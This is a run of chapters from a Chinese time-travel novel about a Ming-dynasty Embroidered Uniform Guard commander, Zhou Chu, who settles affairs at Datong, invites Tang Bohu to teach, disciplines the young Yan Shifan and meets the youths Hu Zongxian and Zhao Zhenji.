大同从古至今都是历朝历代的军事重镇,但大同存在的问题,杨慎是知道一些的,因为大同的位置太重要了,朝廷不想出丝毫差错,才选择睁一只眼闭一只眼。 以往关于大同,乃至延伸到整个河套地区的问题,皇帝和文武百官的意见素来不同,很多皇帝都想彻底解决那边的问题,却被文官们一拖再拖。 如今大同的问题被周楚彻底犁清,将来整个河套地区被彻底清算也只是时间问题。 毕竟有了大同这个先例,而且杨慎相信,大同的这些商人会不可能只攀咬出大同的那些人,其他地区的那些就一个都不涉及? 实际上周楚拿到了很多其他地区晋商的证据,不过并没有急着动。 此时大同如同一块刚治好的肿瘤,需要恢复,倘若此时贸然对山西或者河套地区的其他府动手的话,一旦被另外的那些地区的商人士绅,乃至参与其中的官员知道的话,恐怕会狗急跳墙。 这些人肯定也都在观望,观望朝廷到底是只动大同的那些人,还是要一起动。 周楚不会急着动他们,在动这些人之前,要先解决蒙古人,如此一来才能断了这些人的后路。 没了蒙古人,这些人即便想狗急跳墙,也没有那个能力了。 大同的那些商人,周楚选择了其中六家留了下来,当然,家产该抄没还是要抄没的,只是留了他们一家老小的性命。 然后周楚让这些商人带着虎贲军前往草原上的那些蒙古部落,开始不断地对蒙古人进行歼灭战。 如此一来,不只是对俺答的釜底抽薪,还是对山西乃至河套地区其他商人士绅的釜底抽薪。 京城,朝会上,嘉靖看着手中的奏疏,满脸的愤怒。 “岂有此理,大同的那些商人居然胆大到如此地步,通敌卖国,罪不可恕,还有那大同总兵杭熊和路瑛,侵吞军饷,罪不可恕。” “议罪吧。” 嘉靖看着下方的朝臣道。 “陛下,这杭熊在大同当了多年总兵,侵吞军饷无数,幸亏没有造成严重的后果,臣以为应当将杭熊抄家流放。” 一个户部的三品官出列道。 “流放太便宜他了,倘若把杭熊流放,那路瑛该如何处置?” 韩玠反驳道。 路瑛上任大同总兵满打满算也才大半年的时间,而且还守住了蒙古人的突袭,论罪过要比杭熊小不少。 倘若杭熊抄家流放的话,路瑛总不能和杭熊一般处置吧? “臣以为,杭熊应当秋后问斩,以正人心,路瑛抄家流放。” 韩玠补充道。 “臣觉赞同韩大人的话。” 杨慎出列道。 这种几乎已经算得上是尘埃落定的事情,其实没什么好争论的,那些希望杭熊的罪轻一些的官员,无非是在为自己留后路罢了。 “既如此,那就按此法办吧。” 嘉靖敲定道。 “关于大同知府,以及大同总兵的新人选,诸位可有提议?” 嘉靖看着文武百官道。 众人听到这话,顿时来了精神,这才是今天的重头戏。 大同是军事重镇,大同总兵和知府的任命自然是至关重要,倘若能让他们的人上去,他们的话语权也就更大了一些。 “陛下,臣觉得德清公主的大公子,林稚心当这个总兵再合适不过。” 杨慎出列道。 “哦?为何这么说?” 嘉靖问道。 “林稚心之前就在边境领兵多年,去年跟着周衡器在江南平叛剿倭,立下赫赫战功,镇守大同不成问题。” 杨慎回答道。 “石淙以为如何?” 嘉靖看向了杨一清,问道。 杨一清听到这话,有些无奈,心想你恐怕早就决定好了,何必多此一问。 不过杨一清这种老狐狸,很清楚在自己的位置上该说什么话,此时自然该站出来反对。 “臣以为林将军太过年轻,还需再历练几年,才能当此重任。” 杨一清说道。 “首辅大人此言差矣,正所谓英雄出少年,更何况林稚心出了名的老成持重,可以当此重任。” 杨慎反驳道。 ...... 最终,林鹿还是被任命为了大同的总兵,至于大同新任的知府,则是一个周楚从未听过的名字,据说是个孤臣,并没有投靠任何一方,如此一来,倒也皆大欢喜。 朝廷的旨意虽然是让林鹿镇守大同,却也没让周楚离开大同,很显然,嘉靖的意思是让周楚在大同纵览全局,在这里坐镇一段时间。 如此一来,周楚倒也相对自由了起来,毕竟没有具体的任务,锦衣卫指挥使想去哪便去哪。 周楚打算等过两个月陆炜大婚之后,便前往浙江,寻找王阳明,此时的书院已经建的差不多了,开始对外招生了。 大明很多学子,都奔着王阳明的名号去了浙江求学,其中就包括来自海南,只有八岁的海瑞。 第212章 再见唐伯虎,纨绔子弟严世蕃 周楚并没有在大同待多久,主要是不想和大同这边的军功再沾边了。 对其他人而言,军功多多益善,是好事,对周楚而言,军功却是烫手的山芋,能不沾尽量不沾。 大同这边,战略周楚已经制定好了,所有的一切都铺平了,还有虎贲军在手,只要不是太蠢的,都可以慢慢将蒙古人逐步剪灭。 当然,要全部剪灭也不可能,毕竟消灭一部分蒙古人之后,其他部落的蒙古人不可能一点消息都得不到。 即便如此,林鹿也完全可以消灭大半蒙古人的有生力量,为大明立下赫赫军功,最起码能保证蒙古人十年之内不敢犯大明边境。 这十年的时间,再把盐铁走私的事彻底解决掉,蒙古人就成了没牙的老虎,对大明再也造不成威胁了。 这些都需要时间,而且虎贲军驻扎在大同,还可以帮忙训练卫所兵,不过卫所兵的训练强度有限,毕竟饮食上和虎贲军不在一个层次,太强的训练强度没有足够的肉,是不行的。 皇宫之中,嘉靖看着周楚的奏疏,满脸无奈。 “这个衡器怎么就在大同待不住呢?” “陛下,周大人如此也好,倘若周大人在大同继续待着,肯定会再次立下赫赫军功,到时候整个虎贲军甚至大同守军都唯周大人的命是从,既然周大人已经把大的战略制定好了,谁来执行都是一样的。” 黄锦温和道。 嘉靖听到这话,叹了口气。 “为难衡器了,事事都要考虑的如此周密,想做事又怕功高震主。” 嘉靖并没有反驳黄锦的话,很显然周楚这件事做到了他的心坎里去了。 既然大同的战略已经规划好了,交给林鹿是最合适的,林鹿也算是皇家近亲,嘉靖的表哥。 论人品,没的说,论心性,老成持重,论能力,虽然远不如周楚,但执行周楚制定的战略还是绰绰有余的。 更何况还有虎贲军在手,嘉靖甚至想不出,以如今虎贲军的战力,谁会是他们的对手。 这样一支军队,倘若一直被周楚掌握的话,即便是只有两千人,嘉靖也不会太放心,毕竟镇守大同,剪灭蒙古人这事,不是一时半会能完成的,起码得三四年。 这是一个漫长且持续的过程,于嘉靖而言,他也不希望周楚在大同消耗自己的生命。 周衡器太好用了,纵观古今诸多名臣,嘉靖以为能比得上周衡器的也寥寥无几。 一旁的陆炳则闭上嘴巴,对这件事不发表任何看法。 “这个书院放在余姚是否欠妥?” 嘉靖看着奏疏,说道。 余姚属于浙江,和上海县隔海相望,离苏州府只有四百里左右。 嘉靖甚至可以预见,这个书院的第一批学生,将来都会是大明的栋梁之材,倘若这个书院位于南方,嘉靖心中总有些不安。 按他的想法,书院最好是放在京城。 “陛下不必担心,周大人之前不是说过吗,等王大人丁忧守孝结束之后,学院可以搬迁到京城,而且周大人说将来还要建立一个武学院,为大明训练出来一批能打仗的将士,陛下当学院的院长。” 黄锦说的话,都是替嘉靖说的,很多时候嘉靖想说又不能说的话,黄锦会替他说出来。 这些话,一半是说给嘉靖听的,一半是说给陆炳听的,再由陆炳将这些话传给周楚。 很多话不能明面上说,即便是嘉靖再如何器重周楚,君臣之间的关系也要维系好,自然不能无所顾忌。 此时的周楚带着沈炼以及一众暗中保护自己的那些锦衣卫百户,还有春兰等人,从大同抵达天津码头,然后乘船顺江南下,一路直达苏州府。 现在的苏州府不像刚过完年那会,三月份的苏州府已经进入了冷热交替的乱穿衣气候。 时冷时热,冷的时候很冷,热的时候又让人满头大汗。 周楚来苏州府没有惊动任何官面上的人,甚至连严嵩都不知道,周楚此次目的地是余姚,中途路过苏州府,自然要来看一看自己的老师唐伯虎。 “前几日徵明来信还说起你呢,说你在大同立下了赫赫功劳,怎么转眼间就来到了苏州。” 唐伯虎看到周楚之后,很是惊喜。 “大同的事已了,剩下的事情自然会有其他人接手,学生倘若一直在大同,再来下战功的话,恐有功高震主之嫌,自然应当远离大同。” 周楚喝了杯酒道。 唐伯虎听到这话,点了点头。 “确实如此,论当官,你比我强了不知道多少,年前京城的局势那般危险,也被你化解了,确实应当远离朝堂一段时间。” 在当官一途上,唐伯虎很清楚自己完全给不了周楚什么建议,周楚无论是眼界还是格局,都超过了自己这个当老师的。 “原本想等着再暖和一些,就进京找你和徵明呢,没想到却是你来苏州了。” 唐伯虎自嘲一笑道。 “此次前来,也是想邀请老师出山。” 周楚笑道。 “哦?我这把老骨头还有出山一说吗?” 唐伯虎一听这话,顿时来了兴致。 “之前学生让阳明先生在他老家余姚建立一个学院,这个学院和其他书院不同,我准备分为很多科目,丹青、格物、书法、水利、地理、儒学等等,学生想请老师去教丹青和书法。” 周楚说道。 周楚很清楚,只要有事做,忙起来,唐伯虎还能活很多年,就怕无所事事,一直待着,天天喝酒,那样的话再怎么养生也会出问题。 事业是男人的青春。 唐伯虎一听这话,顿时来了兴致。 “你这个学院有点意思,为师回头随你走一趟倒也无妨。” 唐伯虎说完这话,端起酒杯一饮而尽。 旁边的芸娘听到这话,心中也很是高兴,她对唐伯虎是最了解的,别人不知道,但她清楚,这两年唐伯虎看似春风得意,什么都不缺,又有了周楚这个得意门生。 但其实唐伯虎内心是寂寥的,特别是眼看着文徵明和他一样的年纪还在考科举,唐伯虎一个人留在苏州愈发孤独。 偏偏唐伯虎因为当年科举舞弊案,对科举深恶痛绝,再也不想科举了,一时之间倒也找不到什么事做,就只能在家整日饮酒作乐。 芸娘原本还有些担忧,如此下去,他的身子骨恐怕撑不了几年,没想到周楚为他找了这么一个活。 做什么无所谓,只要能让唐伯虎焕发出来精神,有了奔头,对芸娘而言就足够了。 酒足饭饱之后,周楚带着沈炼,来到了苏州府的大街上,看着如今的苏州府和之前相比,更具活力,百姓脸上的精气神比之前鲜活了不少,周楚还是很有成就感的。 “这东西狗都不吃,也敢给小爷端上来?” 周楚经过一家酒楼的时候,听到酒楼之中传出了一个少年乖张的声音,甚至还有瓷碗砸在地上的声音。 周楚往酒楼之中看去,看到一个八九岁,体态肥胖,一只眼睛似乎瞎了的少年,正满脸乖张的责难酒楼掌柜的。 酒楼掌柜的和店小二在一旁低着头,似乎不敢忤逆这个年轻人。 “严世蕃?” 周楚看着眼前的少年,有些不确定道。 少年听到这话,转头看向了周楚。 “你是何人,也敢直呼小爷的名号?” 第213章 严世蕃的小心思,被吓坏了的吴县县令 年前周楚离开苏州府之后,严世蕃就让家里的下人去老家将自己这个儿子接了过来。 严嵩有严世蕃这个儿子的时候,都三十多岁了,算得上老来得子了,因此即便严世蕃一只眼睛瞎了,还很胖,但在严嵩眼里,再没有比他这个宝贝儿子更好的了。 后世盛传的严世蕃多有才华,实际上纵观所有史书,关于严世蕃才华的所有出处,最终都会归结到严嵩身上。 说白了,严世蕃的才华多半是被他爹严嵩吹嘘出来的。 严世蕃或许很聪明,很懂得把握人心,但要说才华,未必有很多人吹嘘的那般厉害,这一点,周楚很清楚。 “问你话呢,你是谁啊?敢这么和小爷说话?” 严世蕃虽然只有九岁,还很纨绔,却一点都不蠢,相反还很聪明。 自从来到苏州府之后,前面一两个月他还小心翼翼,后来知道自己的爹在苏州府甚至整个江南省的权势之后,开始逐渐放飞自我。 但他毕竟只是个九岁的小孩,即便是放飞自我,也只是满足一下自己的口腹之欲,他自小就爱吃,对于苏州府的美食更是一个都不放过。 如果有做的饭菜不合他胃口的,或者他觉着不好吃的,就会像眼前的这种场景,严世蕃大发雷霆。 他虽然不认识周楚,但看到周楚和旁边跟着的沈炼,这身形一看就不是一般人。 而且周楚身上穿的常服,用料极其讲究,这些衣服周楚从未过问过,都是沈青让人做好了送到周楚府上的。 “你为何如此乖张?吃饭吃不惯,让掌柜的给你免单不就行了?何必打砸?” 周楚看着眼前的小胖子,饶有兴致道。 “你管的也忒宽了些,你谁啊?我爹都不会这么说我。” 严世蕃看着周楚,逐渐失去了耐心,他似乎想起了在这苏州府,没人惹得起他爹,胆子也就大了起来。 “你爹不会管教儿子,今日我就替你爹好好管教管教你。” 周楚说着走上前去,拎住严世蕃的脖领,一把抓了起来,严世蕃那肥硕的身躯在空中不断地扭动着,满脸惊慌。 “我看你是胆大包天,在这苏州府,谁敢动我?赶紧放我下来,否则.....” 严世蕃色厉内荏道。 “否则如何?” 周楚提溜着严世蕃,看着他笑道。 “否则我们就去官府走一场,你看看那些当官的会不会重判你。” 严世蕃本想说一些狠话,但看到周楚的表情,瞬间怂了。 周楚这两年身居高位,一身上位者的气息自然而然的散发了出来,即便严世蕃不太懂这些,即便周楚满脸笑容,和周楚对视一眼,也让严世蕃感到脊背发寒。 这种感觉严世蕃还从未有过。 “你干什么?赶紧放开我家少爷。” 旁边跟着严世蕃的两个下人,被沈炼单手拦住了,连靠近周楚都做不到,只能在一旁呵斥。 “你们知道我家老爷是谁吗?” 其中一位下人满脸愤怒道。 “闭嘴,他既然知道我的名字,自然知道我爹是谁!” 严世蕃看着那蠢的不可救药的下人,满脸不耐烦道。 “不错嘛,还不算蠢。” 周楚看着严世蕃,直接一巴掌抽在了严世蕃那肥胖的屁股上。 周楚的巴掌那都是带穿透效果的,仅仅是一下,严世蕃的脸色就肉眼可见的涨红了,这还是周楚留手的结果。 “怎么不喊?” 周楚有些意外道。 “我是个大老爷们,岂能因为这点事就哭爹喊娘?” 严世蕃缓了缓,才龇牙咧嘴道。 周楚听到这话,有些意外,将严世蕃放了下来。 “赔店家的钱。” 严世蕃听到这话,也不磨叽,直接掏出了钱,放在桌子上。 “严少爷,这一单免了,您不必给钱。” 掌柜的瑟瑟发抖道。 “少废话,小爷我吃饭什么时候没给过钱?只是你这菜做的属实难吃了些,名不副实,让你拿着就拿着。” 严世蕃瞪了一眼掌柜的道。 周楚看到严世蕃这番说辞,明白此时的严世蕃虽然纨绔,但还没有像历史上记载的那般夸张。 毕竟此时的严世蕃也才九岁,而且之前在严家过的日子也不算多富裕,这等纨绔子弟的做派也不过是这几个月在苏州府萌发出来的。 掌柜的听到这话,小心翼翼地将钱收了起来。 “好了,我这边的账结清了,现在该算算你打我的这笔账了。” 严世蕃看着周楚道。 既然硬来打不过周楚,他准备和周楚讲道理。 如今他把酒楼的损失都赔了,他就不理亏了,那么周楚打他,是不是应该给他一个交代? 原本严世蕃想的很好,甚至还有些得意。 “那你报官吧,让官府来判,官府怎么判,我怎么赔偿,如何?” 周楚饶有兴致地看着眼前的小胖子道。 “真的?这可是你说的?” 严世蕃满脸不确定地看着周楚道。 不是他不想以势压人,而是还没太熟练,更何况他算是看出来了,周楚既然知道他爹的身份,还敢如此,想来是不怎么怕他爹的。 这事要闹大了,说不定他爹就不会放过他。 所以走官府是最好的解决方法。 “真的,报案吧。” 周楚直接坐了下来道。 “你,去县令那里报案,让他来处理一下。” 严世蕃指着旁边的一个下人道。 那个下人听到这话,不敢怠慢,急忙跑了出去,生怕跑慢了严世蕃有个好歹,回头怕不是要被打死。 周楚和严世蕃身处的地界是吴县境内,离县衙并不远,实际上吴县的县衙离苏州府的府衙也不远,这里是整个苏州府的核心地区。 不过严世蕃却不想惊动苏州府的知府,他怕这事被捅到自己父亲那里,一个县令,想来还见不到自己的父亲。 吴县的县令得知有人居然敢对严嵩严大人的独子动手,顿时大惊失色,严世蕃要是在他的管辖范围之内出了事,他都不敢想后果会有多严重。 官大一级压死人,严嵩现在虽然不是巡抚,却是江南省实实在在的掌权人,吴县的县令仅仅是想想,就感到头皮发麻。 他急忙叫上一众衙役,直奔酒楼而去。 “到底是谁,如此无法无天!” 还没进入酒楼,吴县县令先是一声怒吼,在他想来,自己此举一来可以震慑歹人,二来可以变相向严世蕃献媚。 只是当他走进酒楼,看到周楚的时候,整个人傻眼了。 他认识周楚,太认识了,作为吴县的县令,之前对这个锦衣卫指挥使可谓是印象深刻。 即便是周楚离开了苏州府,他每天晚上还会做噩梦,梦到自己被周楚查办了。 这个活阎王什么时候回来的?自己怎么一点消息都没得到? 吴县县令腿一软,跪倒在了周楚面前。 “下官见过周大人,下官有失远迎,还望大人见谅。” 原本他是可以不跪的,但此时他害怕极了,恨不得给周楚磕两个。 一旁的严世蕃看到这一幕,顿时傻眼了。 第214章 汗流浃背的严世蕃,再见严嵩 周大人,周..... 严世蕃猛然惊醒,知道自己父亲是谁,还敢打自己的,还姓周。 严世蕃此时突然明白了周楚的身份,顿感头皮发麻。 别人或许不清楚,严世蕃是知道的,自己的父亲能有今天的身份地位和权势,靠的不是别人,正是眼前这位。 一瞬间,严世蕃感到脊背发寒,恨不得抽自己两巴掌。 “不必多礼,严世蕃让你来断一断我打了他的案子。” 周楚看着县令,翘着二郎腿道。 “啊?” 县令看了看严世蕃,又看了看周楚,懵了。 他怎么都没想到打了严世蕃的居然是周楚这个锦衣卫指挥使,还让自己来断案子?这断的是案子?断的是自己的命啊。 “大人,这...” 县令甚至都不敢抬头看周楚一眼,满脸为难的看着严世蕃。 严世蕃此时也慌了,完全没了之前的淡定,不知道该如何处理了。 如果是其他人,严世蕃完全不怕,但眼前的这位是谁啊?锦衣卫指挥使周楚,江南乃至整个大明官场鼎鼎有名的活阎王。 严世蕃虽然才来苏州府没两个月,但听到的关于周楚的传说数不胜数。 “周大人,周爷爷,不判了,不判了。” 严世蕃慌乱之间,口不择言道。 “不判了?” 周楚瞥了一眼严世蕃道。 “不判了!” 严世蕃急忙道。 “让人去把你爹叫来。” 周楚给自己倒了一杯茶,一边喝一边说道。 严世蕃听到这话,头皮一麻,却也不敢说不,直接让下人去请严嵩了。 一旁的县令坐蜡了,跪在那里起也不是,不起也不是。 “你回去吧,这里没你什么事了。” 周楚看着县令,有些不耐烦道。 这个县令如此怕自己,如果说一点问题都没有,几乎不可能,不过对于县令这种小官,周楚也懒得管,更何况水至清则无鱼,只要是实心任事的,周楚也就懒得管其他的了。 县令听到这话,顿时如释重负,千恩万谢的离开了。 一旁的掌柜虽然不清楚周楚的身份,但看到严世蕃和县令的反应也明白眼前这个年轻人应该是个了不得的大人物,急忙亲自端茶倒水,还让小二端了点心过来。 周楚倒也不客气,不得不说,苏州府的饭菜未必合周楚的胃口,但这个点心做的是真的好吃,不会太甜,口感刚刚好。 周楚面前放了很多盘点心,各式各样的都来了一份。 周楚挨个尝了尝,特别喜欢其中的桂花糕。 “这个不错,多来几盘,其他的端走。” 周楚摆了摆手道。 周楚不是皇帝,皇帝不应该对某一件事或者某一种菜品表现出特别的喜欢,周楚没有这个顾虑,更何况周楚也不会在苏州府待多久。 掌柜的听到这话,急忙让人去做桂花糕。 周楚一边吃着桂花糕,一边看着一旁的严世蕃。 “怎么?这才多久,你们严家就出了你这么个纨绔子?” 周楚调侃道。 “大人,冤枉啊,他家的菜做的真不好吃,我也没做过什么天怒人怨的事吧?” 严世蕃满脸委屈道。 “你才来苏州多久?以前在老家你可是这般做派?” 周楚看着严世蕃,问道。 严世蕃听到这话,顿时哑口无言。 “现在都敢这样,再过两年就会强抢民女了,还有什么事是你不敢做的?” 周楚脸色一板道。 周楚越说,严世蕃的脸色越白,他几乎可以预想到一会自己的爹来了之后,周楚会如何说自己。 但此时的严世蕃却毫无办法,毕竟周楚还真说到他心坎里去了,这两个多月,他也是一步步试探,一步步膨胀的,倘若没有周楚突然出现,再过个一两年他能做出什么事,他还真不好说。 严嵩来的也很快,他得知周楚突然出现在苏州府的时候,顿时有些心虚。 自从周楚离开苏州府之后,膨胀的何止是严世蕃,严嵩的野心和权利欲望也跟着膨胀了许多,现在苏州府乃至整个江南很多官员都在走他的门路。 不过严嵩还是很谨慎的,他很清楚,自己可以贪财,但第一要务是为皇上办事,为朝廷办差,所以对那些走他门路的官员,也都是选一些有能力的人来任用。 严嵩对于人才的选拔,眼光还是狠毒辣的。 当严嵩得知自己的儿子作妖被周楚抓住的时候,更是汗流浃背。 严世蕃这段时间什么做派,严嵩是清楚的,甚至严嵩觉着自己的儿子这么做没什么问题,他严嵩好不容易有了如今的权势,他儿子就是他权势的延伸。 严嵩连轿子都不敢坐,直接骑上一匹快马,直奔酒楼而来。 严嵩显得很狼狈,这副姿态主要是做给周楚看的。 “大人,您来苏州怎么也不说一声。” 严嵩来到周楚面前,气喘吁吁道。 “提前说一声,还怎么看到严大人在苏州府的威势呢?还怎么看到你儿子如此这般做派呢?” 周楚将最后一口桂花糕吃完,拍了拍手道。 “大人,下官知罪,不过那些走下官门路的官员,下官也都是精心挑选的,并不是随意糊弄,有能力的下官才会提拔他们。” 严嵩很聪明,他很清楚,周楚想查清自己的事太简单了,而且自己本就是周楚提拔上来的,在周楚面前糊弄或者隐瞒,无异于自掘坟墓。 对于严嵩的敞亮,周楚还是很满意的。 “其他的倒也无妨,只是你这儿子这么下去,迟早是个祸害。” 周楚说这话的时候瞥了一眼严世蕃,此时的严世蕃欲哭无泪。 “是下官管教无妨。” 严嵩满脸惭愧道。 “我让阳明先生在他老家余姚开了个书院,这事你应该知道吧?” 周楚看着严嵩道。 “下官倒是有所耳闻。” 严嵩低眉顺目道。 实际上以如今严嵩的权势,这种事自然瞒不过他,有所耳闻也不过是他的谦虚之言罢了。 “你这儿子跟着我去那里走一趟,惯子如杀子,他跟在你身边,好不了。” 周楚看着严世蕃,又看向严嵩道。 第214章 大明奢侈品的概念,胡宗宪 周楚对于严世蕃的安排,严嵩自然是没什么意见,有意见也得保留。 严嵩很清楚,自己是谁的人,如果说要分党羽的话,自己就是周党,他是周楚一路提拔上来的,对于周楚的话,自然是马首是瞻。 “一切都听大人的安排。” 严嵩从善如流道。 周楚听到这话,再看严嵩的态度,还算满意。 “严大人,本官不得不提醒你一句,你我都是为陛下效命,为朝廷用人,其中的分寸,本官希望你能拿捏好。” 周楚看着严嵩,满含深意道。 严嵩听到这话,急忙躬身行礼。 “下官谨遵大人教诲。” 周楚满意地点了点头,遇到严世蕃不过是碰巧,借机敲打一下严嵩,省的他膨胀的太快。 “这桂花糕不错,其他的都包起来吧。” 周楚看了一眼掌柜的道。 此时掌柜的都傻眼了,他认识严嵩,之前他远远的见过这位严大人一眼,那时候严嵩的威势让他无比心惊。 据说整个江南,这位严大人几乎可以说的上军政一把抓,总揽大权,此时却在这个年轻人面前卑躬屈膝。 这个年轻人到底是何等身份?周大人?掌柜的想起来一个名字,周楚! 一想到这个名字,掌柜的顿时来了精神。 在江南,周楚在百姓和官员眼里完全是两个极端,无论是掌柜的还是苏州府的百姓都很清楚,如今的苏州能有如此清明的环境,全赖那位锦衣卫指挥使周楚周大人。 原来不可一世的江南商会,在周大人的整治下,如今变得无比安分,再也没了强买强卖,垄断某个行业的情况发生了。 掌柜的能感觉到的最直接的变化就是,以前他买菜进货,都需要去固定的摊位,否则生意都做不下去。 那些菜不是最新鲜的,但一定是最贵的。 自从周楚整治完江南商会之后,他们再买菜就可以去任何他们想去的摊点,甚至直接让人下乡收菜。 不只是菜,还有各种肉类,价格便宜了很多不说,新鲜度比原来的还要好不少。 掌柜的急忙上前,亲自动手帮周楚将这些桂花糕都包了起来。 沈炼接过打包好的桂花糕,正要拿钱结账。 “周大人,小的万万不敢要您的钱啊,要是没有您,哪有今日的苏州府。” 掌柜的满脸感激道。 “一码归一码,吃东西就要给钱,你的心意本官知晓了。” 周楚笑道。 沈炼听到这话,也不管这掌柜的如何推辞,将钱放到了桌子上。 “要不了这么多,要不了这么多。” 掌柜的急忙去柜台取了些钱找给了沈炼。 一旁的严嵩倒是没有抢着替周楚买单,他很清楚,周楚的钱财比谁都多,单单周楚做生意就不知道赚了多少了。 周大人要与民同乐,表现自己清正廉洁,自己这个时候上去抢着买单,那才是不识时务。 离开酒楼之后,周楚在严嵩的再三邀请之下,来到了严府。 此时的严府和周楚在苏州的时候已经大一不一样了,严嵩直接换了一个七进宅子,面积极大,而且里面的装饰全都是苏州的园林风格,看上去婉约了些,不过正好符合严嵩的文人形象。 “严大人倒是比以前气派多了。” 周楚看着严府,点了点头道。 这话倒没有嘲讽严嵩的意思,毕竟严嵩现在是江南省的实际一把手,一个七进的宅子并不为过。 真要是住的寒酸,丢的是朝廷的颜面和皇帝的颜面。 毕竟如今的严嵩也算是封疆大吏了,故作寒酸实在是不合适,做给谁看呢? “下官代表的是陛下,是大人,自然不敢太过寒酸。” 严嵩笑道。 周楚跟随严嵩来到严府正厅。 “如今江南的局势如何?” 周楚喝了口茶道。 “如今江南局势一片大好,自从开了海禁之后,整个江南一片欣欣向荣,无数商人都想成为海商,一旦海税成为惯例之后,大人如果想进一步改进税制,就是水到渠成的事了。” 严嵩汇报道。 “沿海的各个码头,特别是上海县以及崇明县一定要盯紧,严禁走私,一旦查获走私的船,从严从重办。” 周楚说道。 倘若不重办走私的,走私之风只会屡禁不止,毕竟海税可是四成,走私的话,一趟能赚两趟的钱。 不过相应的,走海关出海的船只是受到大明海军的保护的,虎贲军在云瑾的带领下,已经开始新一轮的大练兵了,招募和训练的就是大明的海军。 整个海军的人数高达近十万人。 一艘艘战船在朝廷的鼎力支持下,制造的速度远超从前。 如今的大明海域之中,已经有海军四处巡视了,一旦发现走私船,直接抓捕,那些有关牒的船只则是受到海军保护的。 如此一来,想要走私的铤而走险的商人越来越少,正大光明走海关的越来越多。 毕竟能安稳赚钱,谁想担这么大的风险。 “下官一定盯紧。” 严嵩听到这话,面容严肃道。 “对了,回头将江南这些走海商人都召集起来,让他们统一货价,最好价格高一些,一旦统一,大家卖的价格都一样,赚的也就多了。” 周楚安排道。 “大人真是深谋远虑,如此一来,才能细水长流,那些扰乱市场的一定要坚决打击。” 严嵩义正言辞道。 周楚听到这话,点了点头。 这些都只是最基础的,以后周楚还会弄出更多套路,比如对外宣传,来自大明的衣物都是高贵的,代表着身份。 又比如某某首饰是大明皇室穿戴的。 无论是对东瀛亦或是对西方,来自大明的货物都要炒作成奢侈品,如此一来,才能以最低的成本赚取最大的利润。 不过这个目标还需要很长一段时间的发展,现在的大明只能初步定价,抬高货物价格。 周楚在严府吃了顿饭,随后带着严世蕃离开了严府,和唐伯虎约定好之后,便坐船直奔余姚而去了。 如今的余姚和以往可大不相同,大明各地来求学的学子,都是奔着王阳明的大名而来的,此时的余姚随处可见达官显贵带着自家的孩子。 “胡宗宪,等等我。” 一个衣着华丽少年叫住前面一个少年道。 刚刚抵达余姚,正在路边摊上带着严世蕃吃东西的周楚听到这个名字,转头看了过去。 第216章 胡宗宪、赵贞吉、严世蕃、沈炼 胡宗宪,在周楚原本了解的历史上,是一个毁誉参半的人物。 在嘉靖一朝,胡宗宪是抗倭名将,浙直总督,但他上位的过程并不光彩,为了获得权势,投靠了当时已经是内阁首辅的严嵩,成为了严党,并帮助严党构陷忠良。 当然,以周楚现如今的视角来看,胡宗宪构陷的忠良也未必有多忠良,只是历史本就是立体的,多角度的,最终胡宗宪还是被嘉靖清算了。 胡宗宪能力是有的,至于良心这种东西,要看对谁,对错从来都是基于立场的,没有立场何来对错? 于大明而言,于朝廷而言,胡宗宪率领戚继光等将领彻底平定东南倭患,是有大功的。 在官场上,胡宗宪或许很腹黑,但对周楚而言,此时还是少年的胡宗宪,绝对是一个可塑之才。 “你去把那边那两个叫过来,不能表露你我的身份。” 周楚看着严世蕃道。 严世蕃听到这话,有些无奈,对于周楚的话,他是不敢反抗的,眼前这个锦衣卫指挥使的各种传说他都听过,很多版本甚至可以小儿止哭了,严世蕃打心底里对周楚发怵。 严世蕃起身来到胡宗宪和之前叫他的身穿华服的少年旁边。 “我家先生让你们过去一下。” 严世蕃略显不耐烦道。 原本如果严世蕃好好说的话,胡宗宪和这个华服少年或许也就跟着他过来了,但他偏偏这副态度。 这也难怪,以严世蕃如今的身份,再加上他本身的一些小聪明,对眼前的胡宗宪两人自然是看不上眼,再加上心里其实对周楚的安排还是有所抵触的,又不敢明着表现出来,所以才会如此。 周楚也知道严世蕃对自己的安排有所不满,毕竟来了这里哪有在苏州那般快活,周楚就是要借这个机会,借胡宗宪的手,教训教训严世蕃,好让他知道天外有天,人外有人。 胡宗宪身旁的少年看上去十三四岁,身形比胡宗宪和严世蕃要高不少,听到这话,顿时满脸不悦。 胡宗宪则表现的有些害怕。 “赵兄,要不我们跟他过去吧?这人看着这么凶,要真是动起手来,你未必是他的对手。” 胡宗宪挑拨道。 这话对于成年人或许没什么用,但对眼前这个十三四岁的少年来说,刚刚好。 果然,旁边的少年一听这话,瞬间上头了。 “就凭他?一个小黑胖子?还有个眼睛不好使!” 严世蕃听到这话,顿时也上头了,他最讨厌别人叫他小黑胖子。 “你叫谁小黑胖子呢?” 严世蕃说着就撸袖子,准备和眼前的少年干一架。 周楚眼看着严世蕃被那个少年打的哭爹喊娘,愣是没上前帮忙。 沈炼也是饶有兴致的看着严世蕃被痛揍,他对严世蕃这个纨绔子弟没有太多的好感,现在能看到严世蕃被别人教训,也是一件乐事。 眼看着严世蕃被揍的鼻青脸肿,周楚起身来到了几人面前,抓住了那少年的拳头。 “教训一下这小子就行了,回头真给他打坏了,还要进官府。” 周楚笑道。 严世蕃听到这话,一脸委屈,他没想到周楚居然不替自己报仇。 “怎么?想让我帮你报仇?是个爷们就自己打回来。” 周楚看着严世蕃的表情,就知道他在想什么,不屑道。 “我肯定会自己打回来的。” 严世蕃本想下意识的说谁想让你帮我报仇了?但话即将出口的时候意识到了周楚的身份,吓得浑身一哆嗦,心想幸亏没说出去,不然恐怕沈炼就不会放过自己。 那少年此时也打够了,顺着台阶就下了。 “你叫胡宗宪,那你呢?叫什么名字?” 周楚看着胡宗宪和眼前的少年说道。 “行不更名坐不改姓,在下赵贞吉,师承心斋先生,要报仇就冲我来。” 赵贞吉说道。 心斋先生名为王艮,字汝止,号心斋,是王阳明的学生之一。 赵贞吉之所以来余姚求学,也是王艮推荐的。 “赵贞吉,胡宗宪。” 周楚有些意外的看着两人,没想到自己能一次遇到两个历史上的名人。 赵贞吉可是妥妥的鹰派,主战派,原本的历史上,俺答汗造成的庚戌之变,让大明的文官们都胆寒了,纷纷主张议和,甚至给蒙古人输以岁币,只有赵贞吉力排众议,坚决主战,被嘉靖赞赏。 后来隆庆年间,俺答之孙率众降明,还是赵贞吉力排众议,接受其归降,促成了隆庆和议。 不过赵贞吉入阁之后,被隆庆时期权势无两的高拱倾轧,最终被排挤,不得不致仕,告老还乡。 总之,无论是赵贞吉还是胡宗宪,在周楚眼中,对未来的大明都是栋梁之材,而且是那种为国为民的栋梁之材。 